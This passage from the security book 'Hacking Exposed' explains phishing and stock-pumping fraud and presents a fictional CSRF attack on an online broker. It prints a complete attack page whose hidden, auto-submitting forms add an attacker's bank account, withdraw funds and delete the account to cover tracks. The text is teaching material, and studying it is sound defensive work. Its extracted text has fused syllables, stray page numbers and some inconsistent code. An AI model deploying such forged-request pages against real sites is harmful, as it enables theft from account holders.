• Aucun résultat trouvé

Cross-Domain Stock-Pumping

Dans le document Hacking Exposed (Page 163-166)

Phishing attacks, where criminals utilize dishonest or forged e-mails to lure unsuspect-ing users into browsunsuspect-ing to a malicious site professunsuspect-ing to be a popular bankunsuspect-ing or e-com-merce site, represents a significant chunk of the online fraud universe. The basic goal of phishing sites is to trick a user into giving up personal information or login credentials, or to utilize a widespread browser vulnerability to install malware and gather the same information via a more direct route, such as a keyboard logger. Once the attacker has gained this information, the criminal uses the individual’s identity to transfer money from personal accounts, manipulate online auction sites, and perform widespread finan-cial identity theft.

A recent innovation in online fraud has been the combination of modern intrusion techniques, such as malware infection and botnets, with the age-old scam known as stock pumping. This technique relies on the ability of a small number of investors to affect the price of ultra-cheap and low-volume securities, such as stocks listed as pink sheets. For as long as stock markets have existed, fraudsters have attempted to make their fortunes in this manner, generally by hyping fabricated positive news for the company through flyers, word-of-mouth, and direct phone calls from organizations known as “Boiler Rooms.” The success of spammers in the late 1990s and early 2000s in selling counterfeit pharmaceuticals and luring individuals into classic confidence scams led to stock pumpers adopting the same advertising techniques. Traditionally, an individual would be affected by this scam only if he fell for the deceptive online message posting or spam e-mail.

With a cross-domain vulnerability in an online stock broker, stock pumpers can forgo the difficult step of convincing an individual to buy a stock, and can go straight to the source of authority as far as the online broker is concerned—the user’s web browser.

This is a method by which the attacker can profit from control of online brokerage accounts in a much more subtle and difficult to track way than the classic “fraudulent funds transfer.”

136

fools who are naïve enough to fall for those obvious scams. As an active trader, Vic monitors his stock portfolio during most of the day while working on his latest novel in the wildly popular Dirk McChin series, Operation Catfish.

Vic is a client of a popular online discount brokerage, BadStockBroker.com, and en-joys using the company’s new AJAX-enabled stock ticker. This new portfolio monitoring application comprises a JavaScript-enhanced web page running within a small browser window on Vic’s desktop. This ticker uses an XMLHttpRequest object to request the latest prices from BadStockBroker.com without a page refresh, and it updates the ticker page’s DOM with the results. This use of AJAX gives Vic the ability to receive immediate information from his broker without irritating page reloads or the need to install a thick Windows client.

To reduce the amount of data transferred in each request, Vic’s positions are represented as a JavaScript array listing the stock symbol, number of shares, and current price:

[["MSFT",100,31.43]

,["GOOG",50,510.22]

,["AAPL",10,115.67]

]

During Vic’s trading day, he enjoys hanging out on message boards with other traders, gathering stock tips, and discussing the market. During one of these browsing sessions, he comes upon a message posted by somebody with the screen name Irene Innocent:

Are you a user of BadStockTrader.com? I am, and I’m concerned about recent security flaws found in their website. You can read the report I read here: http://tinyurl.com/2vshw4.

Vic is naturally interested in the security of his brokerage account, so he clicks the link. He finds a web page containing an unsubstantiated claim that his account is insecure. While reading this text, he was not aware of the actions being taken by the JavaScript included in the web page, shown here:

<html>

<body>

BadStockBroker.com has lots of bad security flaws! You should not use them because…

<!-- Create the malicious iframes, making sure that it does not display -->

<iframe style="display: none" name="attackIframe1">

</iframe>

<iframe style="display: none" name="attackIframe2">

</iframe>

<iframe style="display: none" name="attackIframe3">

137

<!-- Define four forms to perform malicious requests -->

<!-- First we add a new Checking Account -->

<form style="display: none; visibility: hidden" target="attackIframe1"

action="https://www.badstockbroker.com/account/associateAccts.jsp"

method="POST" name="attackForm1">

<input type=hidden name="Action" value="AddAccount">

<input type=hidden name="BankName" value="Hacker Bank">

<input type=hidden name="RoutingNumber" value="55443297543">

<input type=hidden name="AcctNumber" value="55447733">

<input type=hidden name="AcctIndex" value=”2">

</form>

<!-- Next we submit a request to transfer $5000.00 to the new checking account. This request generally takes two submissions by the user, but since the second submission only changes the "Confirm" field, we can skip the first POST. -->

<form style="display: none; visibility: hidden" target="attackIframe2"

action="https://www.badstockbroker.com/account/withdraw.jsp" method="POST"

name="attackForm2">

<input type=hidden name="Action" value="Withdraw">

<input type=hidden name="AcctIndex" value="2">

<input type=hidden name="Amount" value="5000.00">

<input type=hidden name="Confirm" value="Yes">

</form>

<!-- Next we submit a request to transfer $5000.00 to the new checking account. This request generally takes two submissions by the user, but since the second submission only changes the "Confirm" field, we can skip the first POST. -->

<form style="display: none; visibility: hidden" target="attackIframe3"

action="https://www.badstockbroker.com/account/withdraw.jsp" method="POST"

name="attackForm3">

<input type=hidden name="Action" value="Withdraw">

<input type=hidden name="AcctIndex" value="2">

<input type=hidden name="Amount" value="5000.00">

<input type=hidden name="Confirm" value="Yes">

</form>

<!-- Now we delete that new account to cover our tracks. -->

<form style="display: none; visibility: hidden" target="attackIframe1"

action="https://www.badstockbroker.com/account/associateAccts.jsp"

method="POST" name="attackForm1">

138

<input type=hidden name="AcctNumber" value="55447733">

<input type=hidden name="AcctIndex" value="2">

</form>

<!-- Submit the three forms with a two second timeout between actions. -->

<script>

document.attackForm1.submit();

setTimeout('document.attackForm2.submit();', 2000);

setTimeout('document.attackForm3.submit();', 2000);

</script>

</body>

</html>

During the first four seconds that Vic reads this page, the JavaScript contained on the page puts together three HTML forms and submits them to BadStockBroker.com. These forms perform three actions, to which the browser automatically attaches Vic’s session cookie. This cookie, while not persistent across browsing sessions, is valid during Vic’s browsing session due to his use of his AJAX stock ticker. These requests do the follow-ing thfollow-ings to Vic’s account, as Vic, in this order:

1. Add the attacker’s bank account as a possible transfer point to Vic’s brokerage account.

2. Transfer $5000 of Vic’s money into the new checking account.

3. Delete the new checking account.

Upon receiving his monthly statement a couple of weeks later, Vic notices this unau-thorized withdrawal, although he has no idea how or why this happened. He calls Bad-StockBroker’s customer service line to report the transaction and is transferred to the fraud department. Upon hearing Vic’s story, which lacks any details on how the incident may have occurred, the fraud department pulls its records of transactions made by Vic’s account, finding that the transaction was made from Vic’s IP address, using a cookie received by a legitimate login, and interspersed with transactions Vic admits were his.

Not understanding the CSRF flaws on the company’s web site, the fraud department contacts law enforcement and the ensuing investigation focuses on Vic as the prime suspect in defrauding BadStockBroker.com. Needless to say, Vic finds it an uphill battle to get his money back.

Dans le document Hacking Exposed (Page 163-166)